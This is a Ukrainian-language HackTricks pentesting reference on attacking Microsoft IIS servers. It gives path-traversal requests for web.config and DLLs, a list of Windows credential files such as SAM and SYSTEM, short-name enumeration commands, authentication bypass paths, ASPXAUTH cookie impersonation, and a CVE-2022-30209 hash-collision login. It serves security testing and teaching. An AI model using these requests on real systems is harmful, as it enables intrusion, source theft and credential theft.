IIS - Internet Information Services
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Тестуйте розширення виконуваних файлів:
- asp
- aspx
- config
- php
Розкриття внутрішньої IP-адреси
На будь-якому сервері IIS, де ви отримуєте 302, ви можете спробувати видалити заголовок Host і використовувати HTTP/1.0, а в відповіді заголовок Location може вказувати на внутрішню IP-адресу:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Відповідь, що розкриває внутрішню IP:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Виконання .config файлів
Ви можете завантажувати .config файли та використовувати їх для виконання коду. Один зі способів зробити це - додати код в кінець файлу всередині HTML коментаря: Завантажити приклад тут
Більше інформації та технік для експлуатації цієї вразливості тут
Брутфорс виявлення IIS
Завантажте список, який я створив:
Він був створений шляхом об'єднання вмісту наступних списків:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Використовуйте його без додавання будь-якого розширення, файли, яким це потрібно, вже мають його.
Перехід по шляху
Витік вихідного коду
Перевірте повний опис у: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
note
Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "assemblyIdentity" файли та "namespaces". З цією інформацією можна дізнатися де розташовані виконувані файли та завантажити їх.
З завантажених Dlls також можна знайти нові простори імен, до яких слід спробувати отримати доступ і отримати файл web.config, щоб знайти нові простори імен та assemblyIdentity.
Також файли connectionstrings.config та global.asax можуть містити цікаву інформацію.
У .Net MVC додатках файл web.config відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма, через XML теги "assemblyIdentity".
Дослідження бінарних файлів
Приклад доступу до файлу web.config показано нижче:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Цей запит виявляє різні налаштування та залежності, такі як:
- EntityFramework версія
- AppSettings для веб-сторінок, валідації клієнтів та JavaScript
- System.web конфігурації для аутентифікації та виконання
- System.webServer налаштування модулів
- Runtime прив'язки збірок для численних бібліотек, таких як Microsoft.Owin, Newtonsoft.Json та System.Web.Mvc
Ці налаштування вказують на те, що певні файли, такі як /bin/WebGrease.dll, розташовані в папці /bin програми.
Файли кореневої директорії
Файли, знайдені в кореневій директорії, такі як /global.asax та /connectionstrings.config (який містить чутливі паролі), є важливими для конфігурації та роботи програми.
Простори імен та Web.Config
MVC програми також визначають додаткові web.config файли для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано на прикладі запиту на завантаження іншого web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Завантаження DLL
Згадка про власний простір імен вказує на наявність DLL з назвою "WebApplication1" у каталозі /bin. Після цього показано запит на завантаження WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Це вказує на наявність інших важливих DLL, таких як System.Web.Mvc.dll та System.Web.Optimization.dll, у каталозі /bin.
У сценарії, коли DLL імпортує простір імен під назвою WebApplication1.Areas.Minded, зловмисник може припустити наявність інших файлів web.config у передбачуваних шляхах, таких як /area-name/Views/, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до /Minded/Views/web.config може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, WebApplication1.AdditionalFeatures.dll.
Загальні файли
З тут
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
Якщо ви бачите помилку, подібну до наступної:
Це означає, що сервер не отримав правильне ім'я домену в заголовку Host.
Щоб отримати доступ до веб-сторінки, ви можете подивитися на виданий SSL сертифікат, і, можливо, ви знайдете ім'я домену/субдомену там. Якщо його там немає, вам, можливо, потрібно буде брутфорсити VHosts, поки не знайдете правильний.
Старі вразливості IIS, на які варто звернути увагу
Вразливість/функція символу тильди “~” Microsoft IIS – Розкриття коротких імен файлів/папок
Ви можете спробувати перерахувати папки та файли всередині кожної виявленої папки (навіть якщо це вимагає базової аутентифікації), використовуючи цю техніку.
Основне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що вона може знайти лише перші 6 літер імені кожного файлу/папки та перші 3 літери розширення файлів.
Ви можете використовувати https://github.com/irsdl/IIS-ShortName-Scanner для перевірки на цю вразливість:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Оригінальне дослідження: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Ви також можете використовувати metasploit: use scanner/http/iis_shortname_scanner
Хороша ідея для знаходження остаточного імені виявлених файлів – це запитати LLMs про варіанти, як це зроблено в скрипті https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Обхід базової аутентифікації
Обійти базову аутентифікацію (IIS 7.5), намагаючись отримати доступ до: /admin:$i30:$INDEX_ALLOCATION/admin.php
або /admin::$INDEX_ALLOCATION/admin.php
Ви можете спробувати поєднати цю вразливість з останньою, щоб знайти нові папки та обійти аутентифікацію.
Включений режим налагодження ASP.NET Trace.AXD
ASP.NET включає режим налагодження, і його файл називається trace.axd
.
Він зберігає дуже детальний журнал усіх запитів, зроблених до програми протягом певного часу.
Ця інформація включає IP-адреси віддалених клієнтів, ідентифікатори сесій, усі куки запитів і відповідей, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів і паролі.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
Кука ASPXAUTH
ASPXAUTH використовує таку інформацію:
validationKey
(рядок): ключ у шістнадцятковому кодуванні для використання для перевірки підпису.decryptionMethod
(рядок): (за замовчуванням “AES”).decryptionIV
(рядок): шістнадцятковий ініціалізаційний вектор (за замовчуванням вектор нулів).decryptionKey
(рядок): шістнадцятковий ключ для використання для розшифрування.
Однак деякі люди використовують значення за замовчуванням цих параметрів і використовують як куку електронну пошту користувача. Тому, якщо ви можете знайти веб-сайт, що використовує ту ж платформу, яка використовує куку ASPXAUTH, і ви створите користувача з електронною поштою користувача, якого ви хочете видати на сервері під атакою, ви можете використовувати куку з другого сервера на першому і видати себе за користувача.
Цей напад спрацював у цьому описі.
Обхід аутентифікації IIS з кешованими паролями (CVE-2022-30209)
Повний звіт тут: Помилка в коді неправильно перевіряла пароль, наданий користувачем, тому зловмисник, чий хеш пароля потрапляє в ключ, який вже є в кеші, зможе увійти як цей користувач.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.